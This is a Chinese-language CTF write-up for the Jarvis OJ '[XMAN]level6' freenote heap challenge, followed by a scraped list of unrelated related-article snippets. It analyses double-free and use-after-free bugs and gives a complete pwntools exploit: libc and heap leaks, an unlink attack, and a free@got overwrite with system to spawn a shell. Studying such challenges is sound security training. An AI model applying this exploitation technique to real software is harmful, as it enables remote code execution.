分析代码

初始化

0x0804A2EC:保存malloc(0xC10)返回的指针

malloc(0xC10) 0 1 ... ...
value note 总数:256 已使用 note 数 0

一、Show note

已使用 note 数 <= 0 直接返回,否则遍历所有 note 进行输出。

二、Add note

已使用 note 数 >= note 总数,直接返回。添加一个 note,已使用 note 数加一,malloc 分配的最小内存为 0x80,添加完成 note 总数自增1,note 结构为:

struct note {
DWORD use; // 是否使用
DWORD size; // 大小
DWORD ptr; // 内容指针
}; malloc(0x80);
/*
实际分配了 0x88 大小内存
(0x80 + 0x4 + 0x7) & ~0x7 == 0x88
*/
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALLGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALLGN_MASK) & ~MALLOC_ALLGN_MASK) #define MALLOC_ALLGN_MASK (MALLOC_ALLGNMENT - 1)
#define MALLOC_ALLGNMENT (2 * SIZE_SZ)
// SIZE_SZ 64位为 8, 32位为 4

三、Edit note

Edit 只验证了索引项的use是否为1,并没有验证索引是否存在(可以伪造 note 结构,实现任意地址写入),如果新编辑的长度和之前的不一样会重新分配内存。

四、Del note

Del 没有检测索引项是否存在,造成多次释放,没有把分配的指针置0,存在 Use After Free,对释放的指针重新利用。

fastbinsY

fastbinsY 是一个 bin 数组,用来存放fast bin。单链表结构

0 1 2 3 ... ... 8 9
0x10(4*SIZE_SZ) 0x18(+ 2*SIZE_SZ) 0x20 0x28 ... ... 0x50 0x58

bins

unsorted bin

一定大小的 chunk 被释放时(该 chunk 不和 top chunk 紧邻),在进入 small bin 或者 large bin 之前,会先加入 unsorted bin。双链表结构,占两个bins

small bin

同一个 small bin 里 chunk 大小相同,双链表结构

解题过程

当 unsorted bin 中存在一个 chunk 时,这个 chunk 的 fd 和 bk 都指向 main_arena+48 (32位)处,main_arena 在 libc 中位于 __malloc_hook + 0x18 (32位)处。

int
__malloc_trim (size_t s)
{
int result = 0; if (__malloc_initialized < 0)
ptmalloc_init (); mstate ar_ptr = &main_arena; // main_arena
do
{
(void) mutex_lock (&ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
(void) mutex_unlock (&ar_ptr->mutex); ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena); return result;
}

泄露 libc 基址

目地:为拦截free,修改free的got地址值做准备

创建两个 chunk(内容不要超过四个字节,否则会覆盖掉 main_arena 的地址),释放chunk0,在重新申请(大小相同),然后查看 note

libcbase = main_arena - 0x30 - (__malloc_hook + 0x18)

泄露 heap 基址

目的:修改 note 内容指针,往free@got写入system地址,为利用 unlink 做准备

再创建两个 chunk,释放掉 chunk0 和 chunk2,在申请一个chunk(也就是chunk0,注意不要覆盖掉 bk,bk指向的是 chunk2 的地址),查看 note

heapbase = chunk2 - 0x88 - 0x88 - 0xC18 (chunk0、chunk1 和 刚开始申请的堆的大小)

利用 unlink

条件:P->fd->bk == P->bk->fd == P 另外一种形式 *(*(P + fd offset) + bk offset) == *(*(P + bk offset) + fd offset) == P(P 表示 chunk 的指针,C语言中 -> 的左边是某个地址,右边地址偏移)

目的:修改 chunk0 指向的指针(chunk0 = &chunk0 - 12, 32位)

释放 chunk1,将前3个 chunk 合并,在申请一个大的 chunk 不要超过前三个总大小,在新的 chunk 里面伪造一个空闲 chunk,伪造的大小为 0x80可以保证已经释放的 chunk1 的指针指向伪造的第二个 chunk。

伪造的 chunk 的 fd 和 bk 要满足条件。

释放 chunk1 (伪造的第二个 chunk),伪造的第二个 chunk 的 PREV_INUSE 为0(前一个 chunk 是空闲的),将会进行合并 unlink,合并之后 &chunk0,就会修改成 伪造的 chunk 的 fd 值。

伪造 note 结构

目的:改变 free@got 的值,调用system

当前 chunk0 指向已使用 note 数的地址,开始伪造 note 结构,确保写入的长度相同,不要重新申请内存。

再次往 chunk0 写入,写入内容为 system 的地址,再写入chunk1,内容为/bin/sh\x00,释放 chunk1 执行 free('/bin/sh') 相当于 system('/bin/sh')

exp

from pwn import *

debug = 0
local = 1
host = ""
port = 0
filename = "./freenote_x86" def add(data):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'new note: ', f'{len(data)}'.encode())
p.sendafter(b'your note: ', data) def _del(index):
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'number: ', f'{index}'.encode()) def show():
p.sendlineafter(b'choice: ', b'1') def edit(index, data):
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'number: ', f'{index}'.encode())
p.sendlineafter(b'note: ', f'{len(data)}'.encode())
p.sendlineafter(b'note: ', data) p = process(filename) if not debug and local else gdb.debug(filename, "b *0x80484D0\nb *0x80489D0") if debug else remote(host, port)
elf = ELF(filename)
if local:
libc = ELF('/root/Desktop/glibc-all-in-one/libs/2.19-10ubuntu2_i386/libc.so.6')
else:
libc = ELF('./libc-2.19.so') # libcbase addr
add(b'AAAA') # 0
add(b'AAAA') # 1
_del(0)
add(b'AAAA') # 0
show()
p.recvuntil(b'AAAA')
addr = u32(p.recv(4)) - 0x30
print(hex(addr))
main_arena = libc.sym['__malloc_hook'] + 0x18
libcbase = addr - main_arena
system = libcbase + libc.sym['system'] # heapbase addr
add(b'AAAA') # 2
add(b'AAAA') # 3
_del(0)
_del(2)
add(b'AAAA') # 0
show()
p.recvuntil(b'AAAA')
addr = u32(p.recv(4))
print(hex(addr))
heapbase = addr - 0x88 - 0x88 - 0xC18
chunk0_addr = heapbase + 0x18 # unlink
_del(0)
_del(1)
payload = p32(0) + p32(0x81) + p32(chunk0_addr - 12) + p32(chunk0_addr - 8)
payload = payload.ljust(0x80, b'C')
payload += p32(0x80) + p32(0x80)
payload = payload.ljust(0x80 + 0x80, b'C')
add(payload)
_del(1) # shell
payload = p32(1) + p32(1) + p32(4) + p32(elf.got['free']) + p32(1) + p32(8) + p32(heapbase + 0x100)
payload = payload.ljust(0x100, b'C')
edit(0, payload)
edit(0, p32(system))
edit(1, b'/bin/sh\x00')
_del(1)
p.interactive()

浙大Jarvisoj [XMAN]level6 Writeup的更多相关文章

  1. Jarvis OJ - [XMAN]level1 - Writeup

    Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...

  2. Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试

    这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...

  3. Jarvis OJ - [XMAN]level2 - Writeup

    简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...

  4. Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

    100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...

  5. Jarvis OJ - [XMAN]level0 - Writeup

    差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛  开工 丢到id ...

  6. Xman冬令营writeup

    做题一时爽,期末火葬场,一晚上水了三题,跪求期末不挂,老老实实去复习.祝各位表哥冬令营玩的开心. 中二的成长之路 很容易发现图片本身就是个压缩包,里面还有个图片,但是加密了所以需要我们求出压缩包的密码 ...

  7. JarvisOJ平台Web题部分writeup

    PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...

  8. JarvisOJ 逆向Writeup

    1. 爬楼梯 先运行apk,查看具体的功能 爬一层楼是可以点击的,爬到了,看FLAG是不可以点击的.我们可以大致的了解到到了具体的楼层才可以看到flag,多次打开软件,楼层数目是随机的. 用APKID ...

  9. JarvisOJ - Writeup(5.31更新)

    此篇用来记录我在jarivsOJ上的一些题解,只给解题思路,不放flag Misc 0x01 You Need Python(300) 题目有两个文件,一个py文件,另一个是经过编码的key 文件ke ...

  10. xman随机数相关题目

    参加xman夏令营,大佬给我们带来了密码学课程.其中随机数部分感受颇深,记录下几个脚本. 1. 以时间作为种子的随机数 https://www.jarvisoj.com/ 的[xman2019]bab ...

随机推荐

  1. 有关驱动与应用层数据交互的小例子( 以及驱动 epoll 实现的实现方式 )

    介绍 演示了一个驱动对应多个设备,以及各个设备的存取 演示了应用与驱动,mmap 的映射实现与访问 演示了应用层通过 select, poll, epoll 方式读写设备数据 netlink 的方式待 ...

  2. swiper.js Bscroll 轮播

    <!-- 轮播banner图 --> <div class="banner"> <div class="swiper-container&q ...

  3. 器学习算法(六)基于天气数据集的XGBoost分类预测

    1.机器学习算法(六)基于天气数据集的XGBoost分类预测 1.1 XGBoost的介绍与应用 XGBoost是2016年由华盛顿大学陈天奇老师带领开发的一个可扩展机器学习系统.严格意义上讲XGBo ...

  4. 两条命令搞定 ChatGPT API 的调用问题

    自2022年11月30日 OpenAI 发布 ChatGPT 以来,虽然时有唱衰的声音出现,但在OpenAI不断推陈出新,陆续发布了OpenAPI.GPT-4.ChatGPT Plugins之后,似乎 ...

  5. JavaScript中计时器requestAnimationFrame、setTimeout、setInterval、setImmediate的使用和区别

    在JavaScript中,我们经常使用requestAnimationFrame.setTimeout.setInterval和setImmediate来控制代码的执行时机.它们各有特点和适用场景: ...

  6. 谷歌浏览器插件:FeHelper(WEB前端助手)

    背景 在现在的互联网时代,前端开发已经成为一个非常重要的领域.为了提高开发效率和质量,许多前端开发人员都喜欢使用一些相关工具来辅助他们的工作.而谷歌浏览器插件:WEB前端助手(FeHelper)就是其 ...

  7. [网络]内网IP的判别与分类

    1 内网IP划分 内网IP地址分为A类.B类和C类,其地址范围如下: A类地址: 10.0.0.0 - 10.255.255.255 B类地址: 172.16.0.0 - 172.31.255.255 ...

  8. [Linux]常用命令之【ulimit(资源限制)】

    0 常见问题 [WARN ] 2018-06-15 16:55:20,831 --New I/O server boss #1 ([id: 0x55007b59, /0.0.0.0:20880])-- ...

  9. Java设计模式 —— 装饰模式

    12 装饰模式 12.1 装饰模式概述 Decorator Pattern: 动态地给一个对象增加一些额外的职责.提供一种比使用子类更加灵活的方案来扩展功能. 装饰模式是一种用于替代继承的技术,通过一 ...

  10. Vulnhub Development Walkthrough

    Vulnhub Development Walkthrough Recon 首先使用netdiscover进行二层Arp扫描. ┌──(kali㉿kali)-[~] └─$ sudo netdisco ...